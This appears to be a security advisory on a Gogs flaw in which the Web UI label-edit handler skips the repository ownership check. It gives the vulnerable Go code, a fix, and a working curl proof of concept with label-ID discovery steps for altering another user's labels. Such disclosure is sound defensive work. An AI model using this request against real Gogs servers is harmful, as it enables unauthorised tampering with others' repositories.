CVE-2026-25229: Gogs Authorization Bypass Allows Cross-Repository Label Modification

Summary A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The UpdateLabel function in the Web UI (internal/route/repo/issue.go) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.

Details The vulnerability exists in the Web UI's label update endpoint POST /:username/:reponame/labels/edit. The handler function UpdateLabel uses an incorrect database query function that bypasses repository ownership validation:

Vulnerable Code (internal/route/repo/issue.go:1040-1054):

plain func UpdateLabel(c context.Context, f form.CreateLabel) { l, err := database.GetLabelByID(f.ID) // ❌ No repository validation if err != nil { c.NotFoundOrError(err, "get label by ID") return }

// ❌ Missing validation: l.RepoID != c.Repo.Repository.ID l.Name = f.Title l.Color = f.Color if err := database.UpdateLabel(l); err != nil { c.Error(err, "update label") return } c.RawRedirect(c.Repo.MakeURL("labels")) }

Root Cause:

1. The function calls database.GetLabelByID(f.ID) which internally passes repoID=0 to the ORM layer 2. According to code comments in internal/database/issuelabel.go:147-166, passing repoID=0 causes the ORM to ignore repository restrictions 3. No validation checks whether l.RepoID == c.Repo.Repository.ID before updating 4. The middleware reqRepoWriter() only validates write access to the repository in the URL path, not the label's actual repository

Inconsistency with Other Functions:

+ NewLabel: Correctly sets RepoID = c.Repo.Repository.ID + DeleteLabel: Correctly uses database.DeleteLabel(c.Repo.Repository.ID, id) + API EditLabel: Correctly uses database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)

- Only UpdateLabel in Web UI uses the vulnerable pattern

PoC Prerequisites:

+ Two user accounts: Alice (attacker) and Bob (victim) + alice has written access to repo-a + Bob owns repo-b with labels

Step 1: Identify Target Label ID

1. Login as bob, navigate to bob/repo-b/labels 2. Open browser DevTools (F12) → Network tab 3. Click edit on any label 4. Observe the form data: id=<LABELID> 5. Example: id=1

Step 2: Execute Attack

plain Login as alice, get session cookie Open DevTools → Application → Cookies → ilikegogs Copy the cookie value

Send malicious request curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \ -H "Cookie: ilikegogs=<ALICESESSIONCOOKIE>" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "id=1&title=HACKED-BY-ALICE&color=%23000000"

Expected response: 302 Found (redirect)

Step 3: Verify Impact

1. Login as bob 2. Navigate to bob/repo-b/labels 3. Observe: Label "P0-Critical" is now "HACKED-BY-ALICE" with black color

Impact 1. Issue Classification Disruption: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized

2. Security Issue Concealment: Change "security" labels to "documentation" to hide vulnerability reports from security teams

3. Workflow Sabotage: Alter labels used in CI/CD automation, breaking deployment pipelines

4. Mass Disruption: Batch modifies all labels across multiple repositories using ID enumeration

Recommended Fix:

plain func UpdateLabel(c context.Context, f form.CreateLabel) { l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID) if err != nil { c.NotFoundOrError(err, "get label of repository by ID") return } // Now label ownership is validated at database layer l.Name = f.Title l.Color = f.Color if err := database.UpdateLabel(l); err != nil { c.Error(err, "update label") return } c.RawRedirect(c.Repo.MakeURL("labels")) }